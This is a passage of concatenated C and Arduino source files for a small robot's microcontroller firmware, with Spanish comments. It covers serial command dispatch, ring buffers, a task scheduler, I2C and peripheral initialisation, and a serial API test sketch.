entrada y selecciona la funcion a ejecutar @returns void */ void functionHandler(void); <file_sep>/Soft V1.0/Firmware 1.0/Sources/ConfigMicro.h #ifndef CONFIGMICRO_H #define CONFIGMICRO_H /*==================[inclusions]=============================================*/ #include <hidef.h> /* for EnableInterrupts macro */ #include "derivative.h" /* include peripheral declarations */ #include "stdint.h" /*==================[macros]=================================================*/ //VALORES DE PWM #define PWM_FREQ_HIGH 0x09 #define PWM_FREQ_LOW 0xC4 #define PWM_CH0_CONFIG 0B00111000 #define PWM_CH1_CONFIG 0B00111000 //SENSOR DE META #define SENSOR_DE_META_ON PTBD_PTBD2=1 #define SENSOR_DE_META_OFF PTBD_PTBD2=0 //-------------------FUSES-------------// #define PARITY_CHECK #define FRAMMING_CHECK /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ /** @brief ejecuta todas las rutinas de inicializacion necesarias. @returns void. */ void InitDevice(void); #endif<file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/FunctionHandler.c #include "FunctionHandler.h" /** @brief Toma una instruccion del buffer de entrada y selecciona la funcion a ejecutar @returns void */ // desarrollar todas las funciones internas!! void functionHandler(void){ uint8_t idFunction = 0; uint8_t parameter = 0; uint8_t numberOfBytes = 0; uint8_t stepParameters[ 4 ]; uint8_t iterationFlagSteps = 0; uint8_t velocityParameters[ 4 ]; uint8_t iterationFlagVelocity = 0; uint16_t leftSteps = 0; uint16_t rightSteps = 0; uint16_t leftVelocity = 0; uint16_t rightVelocity = 0; FunctionStruct functionStructInstance; FunctionStruct *newFunction; // Tomar funcion del buffer de entrada if(isDataAvailable(&bufferIn)==1){ (void)SCI1S1; idFunction = getFromBuffer(&bufferIn); switch ( idFunction ) { case getMessure: //tomo el parametro de getMessure (void)SCI1S1; parameter = getFromBuffer(&bufferIn); switch ( parameter ) { case ULTRASONIC_ALL: functionStructInstance.functionId = ULTRASONIC_ALL; functionStructInstance.status = READY; functionStructInstance.timerCount = 0; functionStructInstance.root = MORE_FUNCTION; functionStructInstance.functionId = ULTRASONIC_LEFT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_LEFT_TIMER; functionStructInstance.root = ULTRASONIC_ALL; functionStructInstance.functionId = ULTRASONIC_FRONT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_FRONT_TIMER; functionStructInstance.root = ULTRASONIC_ALL; functionStructInstance.functionId = ULTRASONIC_RIGHT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_RIGHT_TIMER; functionStructInstance.root = ULTRASONIC_ALL; setToExecutingVector(&functionStructInstance); setToExecutingVector(&functionStructInstance); setToExecutingVector(&functionStructInstance); setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(getMessure, &bufferOut); //Llamo la funcion que toma la medicion //ultrasonicAllMessure(); break; case ULTRASONIC_LEFT: functionStructInstance.functionId = ULTRASONIC_LEFT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_LEFT_TIMER; setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(getMessure, &bufferOut); //Llamo la funcion que toma la medicion //ultrasonicLeftMessure(ULTRASONIC_LEFT); break; case ULTRASONIC_RIGHT: functionStructInstance.functionId = ULTRASONIC_RIGHT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_RIGHT_TIMER; f1.functionId=0x24; f1.status=RUNNING; f1.root=UNIQUE_FUNCTION; f1.timerCount=44; setToExecutingVector(&f1); //setToExecutingVector(&functionStructInstance); //Llamo la funcion que toma la medicion //ultrasonicMessure(ULTRASONIC_RIGHT); break; case ULTRASONIC_FRONT: functionStructInstance.functionId = ULTRASONIC_FRONT; functionStructInstance.status = RUNNING; functionStructInstance.timerCount = ULTRASONIC_FRONT_TIMER; functionStructInstance.root=UNIQUE_FUNCTION; f1.functionId=0x01; f1.status=RUNNING; f1.root=UNIQUE_FUNCTION; f1.timerCount=50; newFunction=newFunctionInExecutingVector(); newFunction->functionId=ULTRASONIC_FRONT; newFunction->status=RUNNING; newFunction->root=UNIQUE_FUNCTION; newFunction->timerCount=10; //setToExecutingVector(&f1); //setToExecutingVector(&functionStructInstance); //Sensor1(&functionStructInstance); //Llamo la funcion que toma la medicion //ultrasonicMessure(ULTRASONIC_FRONT); break; case ACCEL: functionStructInstance.functionId = ACCEL; functionStructInstance.status = READY; functionStructInstance.timerCount = ACCEL_TIMER; setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(getMessure, &bufferOut); //Llamo la funcion que toma la medicion //accelMessure(); break; case GYRO: functionStructInstance.functionId = GYRO; functionStructInstance.status = READY; functionStructInstance.timerCount = GYRO_TIMER; setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(getMessure, &bufferOut); //Llamo la funcion que toma la medicion //gyroMessure(); break; case COMPASS: functionStructInstance.functionId = COMPASS; functionStructInstance.status = READY; functionStructInstance.timerCount = COMPASS_TIMER; setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(getMessure, &bufferOut); //Llamo la funcion que toma la medicion //compassMessure(); break; default: setToBuffer(ERROR, &bufferOut); setToBuffer(COMMAND_ERROR, &bufferOut); break; } break; case isGoal: functionStructInstance.functionId = isGoal; functionStructInstance.status = READY; functionStructInstance.timerCount = IS_GOAL_TIMER; setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(isGoal, &bufferOut); //Tomo el parametro de isGoal parameter = getFromBuffer(&bufferIn); if(parameter != NOP){ //Llamo funcion que setea el modo de meta //setGoalMode(parameter); } break; case setSteps: // tomo el numero de bytes numberOfBytes = getFromBuffer(&bufferIn); while(numberOfBytes >= iterationFlagSteps){ // tomo uno de los bytes de setStep y lo guardo en un array stepParameters[ iterationFlagSteps ] = getFromBuffer(&bufferIn); iterationFlagSteps++; } leftSteps = stepParameters[0] * 16 + stepParameters[1]; rightSteps = stepParameters[2] * 16 + stepParameters[3]; functionStructInstance.functionId = setSteps; functionStructInstance.status = READY; functionStructInstance.timerCount = SET_STEPS_TIMER; setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(setSteps, &bufferOut); //funcion que setea los pasos mandando los parametros leftSteps y rightSteps //setSteps(leftSteps, rightSteps); break; case setVelocity: // tomo el numero de bytes numberOfBytes = getFromBuffer(&bufferIn); while(numberOfBytes >= iterationFlagVelocity){ // tomo uno de los bytes de setVelocity y lo guardo en un array velocityParameters[iterationFlagVelocity] = getFromBuffer(&bufferIn); iterationFlagVelocity++; } leftVelocity = velocityParameters[0] * 16 + velocityParameters[1]; rightVelocity = velocityParameters[2] * 16 + velocityParameters[3]; // ¿faltan parametros?!! functionStructInstance.functionId = setVelocity; functionStructInstance.status = READY; functionStructInstance.timerCount = SET_VELOCITY_TIMER; setToExecutingVector(&functionStructInstance); setToBuffer(ACK, &bufferOut); setToBuffer(setVelocity, &bufferOut); //funcion que setea las velocidades mandando los parametros leftVelocity y rightVelocity //setVelocity(leftVelocity, rightVelocity); break; default: setToBuffer(ERROR, &bufferOut); setToBuffer(COMMAND_ERROR, &bufferOut); break; } } } <file_sep>/IIC_CONTROL/IIC/Sources/main.c #include <hidef.h> /* for EnableInterrupts macro */ #include "derivative.h" /* include peripheral declarations */ #define setReg8(x,y) (x=y) #define IIC_RepeatStart() IICC1_RSTA=1 void IIC1_Init(void); void InitClock(void); void delay(void); void interrupt VectorNumber_Viic IIC(void); void IIC_write_byte(byte); byte IIC_read_byte(void); void IIC_Start(void); void IIC_Stop(Bool); void configIIC(void); int timeout,error; byte iic1=0,iic2=0; void main(void) { int i=0; EnableInterrupts; /* enable interrupts */ /* include your code here */ InitClock(); IIC1_Init(); configIIC(); /* IIC_Start(); IIC_write_byte(0x3D); IIC_write_byte(0x03); IIC_Stop(); */ //iic1=IIC_read_byte(); for(;;) { IIC_Start(); IIC_write_byte(0x3C); IIC_write_byte(0x03); IIC_Stop(FALSE); IIC_write_byte(0x3D); while(i<6){ iic1=IIC_read_byte(); i++; } i=0; IIC_Stop(FALSE); //__RESET_WATCHDOG(); /* feeds the dog */ } /* loop forever */ /* please make sure that you never leave main */ } /* void interrupt VectorNumber_Viic IIC(void){ (void)IICS; IICS_IICIF=1; } */ void delay (void){ unsigned int t=30000; while(t!=0){ t--; } } void configIIC(void){ IIC_Start(); IIC_write_byte(0x3C); IIC_write_byte(0x02); IIC_write_byte(0x00); IIC_Stop(TRUE); } void IIC_write_byte(byte data) { int i=0; //-------start of transmit first byte to IIC bus----- IICD = data; while (!IICS_IICIF); // wait until IBIF; IICS_IICIF=1; // clear the interrupt event flag; while(IICS_RXAK&&i<=100){ // check for RXAK; i++; } //-----Slave ACK occurred------------ } void IIC_Start(void){ IICS; IICS_IICIF=1; IICC1_MST=0; IICS_SRW=0; IICC1_TX=1; IICC1_MST=1; //IICC1_TXAK = 0; // RX/TX = 1; MS/SL = 1; TXAK = 0; //IICC1 |= 0x30; // And generate START condition; } void IIC_Stop(Bool type){ if(type){ IICC1_MST = 0; // generate STOP condition; } else{ IICC1_RSTA=1; IICC1_RSTA=0; } } byte IIC_read_byte(void) { Byte RD_data; IICC1_TX = 0; // set up to receive; IICC1_TXAK = 1; // acknowledge disable; RD_data = IICD; // dummy read; while (!IICS_IICIF); // wait until IBIF; IICS_IICIF=1; // clear the interrupt event flag; RD_data = IICD; // read right data; return RD_data; } void IIC1_Init(void) { IICC1_IICEN=1; IICF=0x58; //0x58 --> 100KHz 0x40 --> 400KHz // IICC1_IICEN=1; /* IICF: MULT1=0,MULT0=1,ICR5=0,ICR4=0,ICR3=0,ICR2=0,ICR1=0,ICR0=0 */ //setReg8(IICF, 0x58); /* IICC2: GCAEN=0,ADEXT=0,??=0,??=0,??=0,AD10=0,AD9=0,AD8=0 */ //setReg8(IICC2, 0x00); /* IICC1: IICEN=1,IICIE=0,MST=0,TX=0,TXAK=0,RSTA=0,??=0,??=0 */ //setReg8(IICC1, 0x80); /* IICS: TCF=1,IAAS=0,BUSY=0,ARBL=1,??=0,SRW=0,IICIF=1,RXAK=0 */ //setReg8(IICS, 0x92); /* Clear the interrupt flags */ } void InitClock(void){ if (*(unsigned char*)0xFFAF != 0xFF) { /* Test if the device trim value is stored on the specified address */ MCGTRM = *(unsigned char*)0xFFAF; /* Initialize MCGTRM register from a non volatile memory */ MCGSC = *(unsigned char*)0xFFAE; /* Initialize MCGSC register from a non volatile memory */ } /* MCGC2: BDIV=0,RANGE=0,HGO=0,LP=0,EREFS=0,ERCLKEN=0,EREFSTEN=0 */ MCGC2= 0x00; /* Set MCGC2 register */ /* MCGC1: CLKS=0,RDIV=0,IREFS=1,IRCLKEN=1,IREFSTEN=0 */ MCGC1=0x06; /* Set MCGC1 register */ /* MCGC3: LOLIE=0,PLLS=0,CME=0,??=0,VDIV=1 */ MCGC3=0x01; /* Set MCGC3 register */ while(!MCGSC_LOCK) { /* Wait until FLL is locked */ } SOPT1=0X06; return; } <file_sep>/Soft V1.0/Firmware 1.0/Sources/GlobalVariables.h #ifndef GLOBALVARIABLES_H_ #define GLOBALVARIABLES_H_ /*==================[inclusions]=============================================*/ #include "Configuration.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ //Variables de tiempo extern uint32_t tickTime; //ADC extern Bool adcEnable; extern Bool isAdcRunning; //Velocidad extern uint16_t leftWheelVelocity; extern uint16_t rightWheelVelocity; //Motores extern uint8_t pwmLeftValue; extern uint8_t pwmRightValue; /* extern int dpwmLeftValue,dpwmRightValue; extern int derrorLeftWheel,derrorRightWheel; extern int errorLeftWheel,errorRightWheel;*/ //Tipo de movimiento extern uint8_t moveBy; //IDnumber extern uint8_t IDNumberExtern; //Pasos extern uint16_t leftWheelStepValue; extern uint16_t rightWheelStepValue; extern int leftWheelStepValueToSet; extern int rightWheelStepValueToSet; //Serial Port extern uint8_t serialErrorType; /*==================[external functions declaration]=========================*/ /** @brief Inicializa la variable que representa el ID de las funciones dentro del vector de ejecucion. @returns void */ extern void initIDNumber(void); /** @brief genera un nuevo ID para ser asignado a las funciones que ingresan al vector de ejecucion. @returns void */ extern uint8_t getIDNumber(); /** @brief inicializa las variables globales; @returns void */ void initGlobalVariables(void); #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/Structures.c #include "Structures.h" /*==================[inclusions]=============================================*/ /*==================[macros and definitions]=================================*/ /*==================[internal data declaration]==============================*/ /*==================[internal functions declaration]=========================*/ /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ void InitBuffer(BufferStruct* BufferToInit){ BufferToInit->readPointer = 0; BufferToInit->writePointer = 0; } uint8_t getFromBuffer(BufferStruct* BufferToGet){ //controla que el buffer tenga algun valor cargado if(BufferToGet->BufferFlags[BufferToGet->readPointer] == 1){ //toma el dato al que apunta readPointer uint8_t data = BufferToGet->Buffer[BufferToGet->readPointer]; // limpia la celda de bufferFlags BufferToGet->BufferFlags[BufferToGet->readPointer] = 0; //incrementa el puntero de lectura if(BufferToGet->readPointer < BUFFER_SIZE-1){ BufferToGet->readPointer++; } else{ BufferToGet->readPointer = 0; } return data; } return 0; } void setToBuffer(uint8_t data, BufferStruct* BufferToSet){ //controla si la celda del buffer esta vacia if(BufferToSet->BufferFlags[BufferToSet->writePointer] != 1){ // setea la celda con 'data' BufferToSet->Buffer[BufferToSet->writePointer] = data; BufferToSet->BufferFlags[BufferToSet->writePointer] = 1; //incrementa el puntero de escritura if(BufferToSet->writePointer < BUFFER_SIZE-1){ BufferToSet->writePointer++; } else{ BufferToSet->writePointer = 0; } } } uint8_t getSpaceOfBuffer(BufferStruct* BufferToCalculate){ uint8_t data = 0,rp,wp,r; rp=BufferToCalculate->readPointer; wp=BufferToCalculate->writePointer; r=wp-rp; if((BufferToCalculate->writePointer) < (BufferToCalculate->readPointer)){ data = BufferToCalculate->readPointer - BufferToCalculate->writePointer; } else{ data = BUFFER_SIZE - (BufferToCalculate->writePointer - BufferToCalculate->readPointer); } return data; } uint8_t isFunctionOnExecutingVector(FunctionStruct FunctionToSet){ uint8_t flag = 0; int i = 0; for(i=0;i<=executingVector.pointer;i++){ if(executingVector.vector[i].status != DONE && executingVector.vector[i].status != 0){ if(executingVector.vector[i].functionId == FunctionToSet.functionId && executingVector.vector[i].functionParameter == FunctionToSet.functionParameter){ flag= 1; } } } return flag; } FunctionStruct* setFunctionToExecutingVector(FunctionStruct FunctionToSet){ int i=0,j=0,n=0; if(isFunctionOnExecutingVector(FunctionToSet)){ return; } if(FunctionToSet.root==UNIQUE_FUNCTION){ for(i=0;i<=executingVector.pointer;i++){ if(executingVector.vector[i].status==DONE||executingVector.vector[i].status==0){ executingVector.vector[i]=FunctionToSet; return &executingVector.vector[i]; } } if(executingVector.pointer < EXECUTING_STRUCT_SIZE){ executingVector.pointer=executingVector.pointer+1; executingVector.vector[executingVector.pointer]=FunctionToSet; return &executingVector.vector[executingVector.pointer]; } return NULL; } else{ if(FunctionToSet.root==MORE_FUNCTION){ //SI ES LA FUNCION PADRE BUSCO QUE TENGA LUGAR CONTIGUO PARA LOS HIJOS for(i=0;i<=executingVector.pointer;i++){ if(executingVector.vector[i].status==DONE||executingVector.vector[i].status==0){ //BUSCO 3 LUGARES for(j=1;j<=MAX_CHILDREN;j++){ if(executingVector.vector[i+j].status==DONE||executingVector.vector[i+j].status==0){ n++; } } //SI ENCUENTRA 3 LUGARES LO PONE AL PADRE Y RETORNA if(n==MAX_CHILDREN){ //executingVector.pointer=executingVector.pointer+1; executingVector.vector[i]=FunctionToSet; return &executingVector.vector[i]; } } } //SINO ENCUENTRA LOS 3 LUGARES PONE UNO NUEVO executingVector.pointer=executingVector.pointer+1; executingVector.vector[executingVector.pointer]=FunctionToSet; return &executingVector.vector[executingVector.pointer]; } else{ //SI SON LOS HIJOS LOS PONGO AL LADO DE LA FUNCION PADRE for(i=0;i<=executingVector.pointer;i++){ if(executingVector.vector[i].root==MORE_FUNCTION&&executingVector.vector[i].status!=DONE){//ECUENTRA AL PADRE if(FunctionToSet.root==executingVector.vector[i].functionId && executingVector.vector[i].IDNumber == FunctionToSet.IDNumber){//PREGUNTA SI ES EL PADRE for(j=1;j<=MAX_CHILDREN;j++){//NO SOBRE ESCRIBE A LOS HIJOS if((executingVector.vector[i+j].root!=FunctionToSet.root)||executingVector.vector[i+j].status==DONE){ // executingVector.pointer=executingVector.pointer+1; executingVector.vector[i+j]=FunctionToSet; while(executingVector.pointer<(i+j)){ executingVector.pointer=executingVector.pointer+1; } return &executingVector.vector[i+j]; } } } } } } } } FunctionStruct* getFromExecutingVector(){ FunctionStruct functionToReturn; functionToReturn=executingVector.vector[executingVector.readPointer]; if(executingVector.readPointer==executingVector.pointer){ executingVector.readPointer=0; }else{ executingVector.readPointer=executingVector.readPointer+1; } return &functionToReturn; } uint8_t getExecutingVectorPointer(){ return executingVector.pointer; } FunctionStruct* getFromExecutingVectorOnIndex(uint8_t position){ if(position<=executingVector.pointer){ return &executingVector.vector[position]; } else{ return &executingVector.vector[0]; } } void initExecutingVector(void){ uint8_t i; for(i=0;i<EXECUTING_STRUCT_SIZE;i++){ executingVector.vector[i].functionId=0; } executingVector.pointer=0; executingVector.readPointer=0; } FunctionStruct* getChildOf(uint8_t id){ uint8_t i=0,childIndex=0; FunctionStruct* childVector[3]; FunctionStruct* currentFunction; for(i=0;i<=getExecutingVectorPointer();i++){ currentFunction=getFromExecutingVectorOnIndex(i); if((currentFunction->root==id)&&i>childIndex){ childVector[childIndex]=currentFunction; } } return &childVector; } uint8_t setBufferOnBuffer(BufferStruct* BufferGet, BufferStruct* BufferAdd){ uint8_t space = getSpaceOfBuffer(BufferGet); uint8_t spaceOnGet = BUFFER_SIZE - space; uint8_t spaceOnAdd = getSpaceOfBuffer(BufferAdd); if(spaceOnAdd >= spaceOnGet){ uint8_t flag = 0; for(flag ; flag <spaceOnGet ; flag++){ setToBuffer(getFromBuffer(BufferGet), BufferAdd); } return 1; } else{ return 0; } } uint8_t isDataAvailable(BufferStruct *bufferToEvaluate){ if(bufferToEvaluate->BufferFlags[bufferToEvaluate->readPointer]==1){ return 1; } else{ return 0; } } /*==================[internal functions definition]==========================*/<file_sep>/Soft V1.0/Firmware 1.0/Sources/ConfigMicro.c /*==================[inclusions]=============================================*/ #include "ConfigMicro.h" /*==================[macros and definitions]=================================*/ /*==================[internal data declaration]==============================*/ /*==================[internal functions declaration]=========================*/ void InitReg(void); void InitClock(void); void InitComunication(void); void InitInputCompare(void); void InitPwm(void); void InitADC(void); void InitPorts(void); void InitRtc(void); /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ extern void InitDevice(void){ DisableInterrupts; InitReg(); InitClock(); InitComunication(); InitPorts(); InitInputCompare(); beginComunication(); initExecutingVector(); initIDNumber(); EnableInterrupts; InitPwm(); InitADC(); InitRtc(); } /*==================[internal functions definition]==========================*/ /** @brief Inicializa interrupciones. */ void InitReg(void){ EnableInterrupts; SOPT1=0X06; USBCTL0_USBVREN=1; } /** @brief Inicializa y ajusta el reloj interno del microcontrolador */ void InitClock(void){ if (*(unsigned char*)0xFFAF != 0xFF) { /* Test if the device trim value is stored on the specified address */ MCGTRM = *(unsigned char*)0xFFAF; /* Initialize MCGTRM register from a non volatile memory */ MCGSC = *(unsigned char*)0xFFAE; /* Initialize MCGSC register from a non volatile memory */ } MCGTRM =0xBB; /* MCGC2: BDIV=0,RANGE=0,HGO=0,LP=0,EREFS=0,ERCLKEN=0,EREFSTEN=0 */ MCGC2= 0x00; /* Set MCGC2 register */ /* MCGC1: CLKS=0,RDIV=0,IREFS=1,IRCLKEN=1,IREFSTEN=0 */ MCGC1=0x06; /* Set MCGC1 register */ /* MCGC3: LOLIE=0,PLLS=0,CME=0,??=0,VDIV=1 */ MCGC3=0x01; /* Set MCGC3 register */ while(!MCGSC_LOCK) { /* Wait until FLL is locked */ } return; } /** @brief Inicializa los registros relacionados con la comunicacion serie del microcontrolador */ void InitComunication(void){ SCI1S2=0x00; //Configura el bit rate del SCI SCI1BDH=0x00; SCI1BDL=0x0A;//115200 SCI1C1=0x00; SCI1C3=0x00; SCI1C2=0x2C; #ifdef PARITY_CHECK SCI1C1_PE=1; SCI1C1_PT=0; SCI1C1_M=1; SCI1C3_PEIE=1; #else SCI1C1_PE=0; SCI1C1_PT=0; SCI1C1_M=0; SCI1C3_PEIE=0; #endif #ifdef FRAMMING_CHECK SCI1C3_FEIE=1; #else SCI1C3_FEIE=0; #endif (void)(SCI1S1); //borra posibles flags activados return; } /** @brief Establece configuracion del canal y el timer, inicializa imput compare. */ void InitInputCompare(){ //CONFIGURACION DE CANAL Y TIMER TPM1SC=0B00001100; TPM1C0SC=0B00001100; TPM1C1SC=0B00001100; TPM1C2SC=0B00001100; TPM1C3SC=0B00001100; } /** @brief Inicializa los registros relacionados con el PWM. */ void InitPwm(){ TPM2SC=0B00001111; TPM2MODH=PWM_FREQ_HIGH; TPM2MODL=PWM_FREQ_LOW; } /** @brief Inicializa los registros relacionados con el modulo ADC. */ void InitADC(){ APCTL1=0x03; APCTL2=0x03; ADCCFG=0b00010000; ADCSC2=0b10000000; ADCSC1=0b11011111; (void)ADCRH; (void)ADCRL; } /** @brief Inicializa los puertos. */ void InitPorts(){ PTADD=0X00; PTBDD=0XFF; PTCDD=0X03; PTDDD=0X08; PTEDD=0X70; PTEDD_PTEDD4=1; PTFDD=0XFF; PTGDD=0XFF; PTEPE=0B10000000; } /** @brief Inicializa los registros relacionados con el RTC. */ void InitRtc(){ RTCMOD=0x00; RTCSC=0x58; }<file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/Dispatcher.h #include "Config.h" #ifndef _Dispatcher_h #define _Dispatcher_h #endif void dispatcher(ExecutingStruct* executingVector, BufferStruct* functionBuffer); <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/Config.c #include "Config.h" /** @brief Inicializacion de buffer. Inicializa los parametros 'readPointer', 'writePointer' y 'buffer' de la estructura 'bufferStruct'. @param Buffer es el buffer (struct bufferStruct) a inicializar. @returns void */ void InitBuffer(BufferStruct* BufferToInit){ BufferToInit->readPointer = 0; BufferToInit->writePointer = 0; } /** @brief toma dato del buffer. toma un dato uint8_t del buffer e incrementa el puntero 'readPointer'. Si no hay datos que leer no incrementa el puntero. Lipia la celda luego de leerla. @param BufferToGet es el buffer (struct bufferStruct) a leer. @returns data Parametro uint8_t con el valor de la celda tomada del buffer. */ uint8_t getFromBuffer(BufferStruct* BufferToGet){ //controla que el buffer tenga algun valor cargado if(BufferToGet->BufferFlags[BufferToGet->readPointer] == 1){ //toma el dato al que apunta readPointer uint8_t data = BufferToGet->Buffer[BufferToGet->readPointer]; // limpia la celda de bufferFlags BufferToGet->BufferFlags[BufferToGet->readPointer] = 0; //incrementa el puntero de lectura if(BufferToGet->readPointer < BUFFER_SIZE-1){ BufferToGet->readPointer++; } else{ BufferToGet->readPointer = 0; } return data; } return 0; } /** @brief Setea un dato en el buffer. setea un dato uint8_t en el buffer e incrementa el puntero 'writePointer'. Si no hay lugar en el buffer en donde setear el dato, lo descarta. @param BufferToSet es el buffer (struct bufferStruct) a escribir. @returns void. */ void setToBuffer(uint8_t data, BufferStruct* BufferToSet){ //controla si la celda del buffer esta vacia if(BufferToSet->BufferFlags[BufferToSet->writePointer] == 0){ // setea la celda con 'data' BufferToSet->Buffer[BufferToSet->writePointer] = data; BufferToSet->BufferFlags[BufferToSet->writePointer] = 1; //incrementa el puntero de escritura if(BufferToSet->writePointer < BUFFER_SIZE-1){ BufferToSet->writePointer++; } else{ BufferToSet->writePointer = 0; } } } /** @brief devuelve el espacio disponible en el buffer. calcula el espacio disponible para almacenamiento en el buffer. @param BufferToCalculate es el buffer (struct bufferStruct) a calcular. @returns data Parametro uint8_t con el valor del espacio disponible para almacenamiento en el buffer. */ uint8_t getSpaceOfBuffer(BufferStruct* BufferToCalculate){ uint8_t data = 0,rp,wp,r; rp=BufferToCalculate->readPointer; wp=BufferToCalculate->writePointer; r=wp-rp; if((BufferToCalculate->writePointer) < (BufferToCalculate->readPointer)){ data = BufferToCalculate->readPointer - BufferToCalculate->writePointer; } else{ data = BUFFER_SIZE - (BufferToCalculate->writePointer - BufferToCalculate->readPointer); } return data; } void setToExecutingVector(FunctionStruct* FunctionToSet){ int i=0; if(executingVector.vector[executingVector.pointer]==NULL||executingVector.vector[executingVector.pointer]==0){ executingVector.vector[executingVector.pointer]=FunctionToSet; //executingVector.pointer=executingVector.pointer+1; } else{ for(i=0;i<executingVector.pointer;i++){ if(executingVector.vector[i]->status==DONE){ executingVector.vector[i]=FunctionToSet; //executingVector.pointer=executingVector.pointer+1; return; } } executingVector.pointer=executingVector.pointer+1; executingVector.vector[executingVector.pointer]=FunctionToSet; } } FunctionStruct* getFromExecutingVector(){ FunctionStruct * functionToReturn; functionToReturn=executingVector.vector[executingVector.readPointer]; if(executingVector.readPointer==executingVector.pointer){ executingVector.readPointer=0; }else{ executingVector.readPointer=executingVector.readPointer+1; } return functionToReturn; } uint8_t getExecutingVectorPointer(){ return executingVector.pointer; } FunctionStruct* getFromExecutingVectorOnIndex(uint8_t position){ if(position<=executingVector.pointer){ return executingVector.vector[position]; } else{ return executingVector.vector[0]; } } void initExecutingVector(void){ uint8_t i; for(i=0;i<EXECUTING_STRUCT_SIZE;i++){ executingVector.vector[i]=NULL; } executingVector.pointer=0; executingVector.readPointer=0; } FunctionStruct* getChildOf(uint8_t id){ uint8_t i=0,childIndex=0; FunctionStruct* childVector[3]; FunctionStruct* currentFunction; for(i=0;i<=getExecutingVectorPointer();i++){ currentFunction=getFromExecutingVectorOnIndex(i); if((currentFunction->root==id)&&i>childIndex){ childVector[childIndex]=currentFunction; } } return childVector; } uint8_t setBufferOnBuffer(BufferStruct* BufferGet, BufferStruct* BufferAdd){ uint8_t space = getSpaceOfBuffer(BufferGet); uint8_t spaceOnGet = BUFFER_SIZE - space; uint8_t spaceOnAdd = getSpaceOfBuffer(BufferAdd); if(spaceOnAdd >= spaceOnGet){ uint8_t flag = 0; for(flag ; flag <spaceOnGet ; flag++){ setToBuffer(getFromBuffer(BufferGet), BufferAdd); } return 1; } else{ return 0; } } uint8_t isDataAvailable(BufferStruct *bufferToEvaluate){ if(bufferToEvaluate->BufferFlags[bufferToEvaluate->readPointer]==1){ return 1; } else{ return 0; } } FunctionStruct* newFunctionInExecutingVector(){ volatile FunctionStruct newFunction; setToExecutingVector(&newFunction); return &newFunction; } <file_sep>/API_ARDUINO/EJEMPLO_API/pruebaAPI.ino #include <API.h> #define writeSerial(x) (Serial3.write(x)) #define availableSerial() (Serial3.available()) #define readSerial() (Serial3.read()) #define COMMAND_ERROR 17 #define INACCESSIBLE_DEVICE 18 #define TIMEOUT 19 uint8_t getResponse; int time=0,paquetes=0; void Send(uint8_t DATA){ writeSerial(DATA); } uint8_t Get(){ long time=0; getResponse = NULL; //for(int i=0; i > TIMERGET; i++){ time=1000000; while(availableSerial()==0&&time!=0){ time--;} Serial.print("-->"); getResponse = (uint8_t)readSerial(); Serial.print(getResponse,HEX); /* while(availableSerial()==0&&time<320000){ time++;} if(time==320000){ Serial.println("Error"); getResponse =0; }else{ getResponse = (uint8_t)readSerial(); }*/ //Serial.print("Recibe: "); //Serial.println(getResponse,HEX); //} return getResponse; } void ErrorPrint(char function[], uint8_t var){ Serial.print("\tERROR: "); if(var == INACCESSIBLE_DEVICE){ Serial.print("INACCESSIBLE DEVICE"); } else{ if(var == COMMAND_ERROR){ Serial.print("COMMAND ERROR"); } else{ if(var == TIMEOUT){ Serial.print("TIMEOUT"); } else{ Serial.print(var); } } } Serial.print(" in function: "); Serial.print(function); Serial.println("."); } void setup() { // initialize serial communications at 9600 bps: pinMode(18,INPUT); Serial.begin(9600); Serial3.begin(115200); /*TCCR1A = 0; TCCR1B = 0; TCNT1 = 34286; // preload timer TCCR1B |= (1 << CS12); // 256 prescaler TIMSK1 |= (1 << TOIE1); // enable timer overflow interrupt */ } void loop() { // put your main code here, to run repeatedly: } void serialEvent() { while (Serial.available()) { // get the new byte: char inChar = (char)Serial.read(); if(inChar=='a'){ Serial.print("Frente igual a..."); Serial.println(GetMeassure(ULTRASONIC_FRONT)[0],DEC); } if(inChar=='b'){ Serial.print("Izquierda igual a..."); Serial.println(GetMeassure(ULTRASONIC_LEFT)[0],DEC); } if(inChar=='c'){ Serial.print("Derecha igual a..."); Serial.println(GetMeassure(ULTRASONIC_RIGHT)[0],DEC); } if(inChar=='d'){ Serial.print("Utrasonic All igual a..."); int *puntero=GetMeassure(ULTRASONIC_ALL); Serial.print(puntero[0],DEC); Serial.print(" - "); Serial.print(puntero[1],DEC); Serial.print(" - "); Serial.println(puntero[2],DEC); } if(inChar=='e'){ Serial.print("SetVelocity"); SetVelocity(100,0); Serial.println(" "); } if(inChar=='f'){ Serial.print("SetVelocity"); SetVelocity(0,0); Serial.println(" "); } if(inChar=='i'){ Serial.print("SetSteps"); SetSteps(40,40); Serial.println(" "); } if(inChar=='h'){ Serial.println("Prueba de fuego"); while(1){ //Serial.println(GetMeassure(ULTRASONIC_ALL)[0],DEC); GetMeassure(ULTRASONIC_ALL); paquetes++; //delay(1); } } if(inChar=='g'){ Serial.print("Is goal:"); if(IsGoal(15)){ Serial.println(" -> SI"); } else{ Serial.println(" -> NO"); } } if(inChar=='j'){ Serial.print("ACCEL igual a..."); int *puntero=GetMeassure(ACCEL); Serial.print(puntero[0],DEC); Serial.print(" - "); Serial.print(puntero[1],DEC); Serial.print(" - "); Serial.println(puntero[2],DEC); } 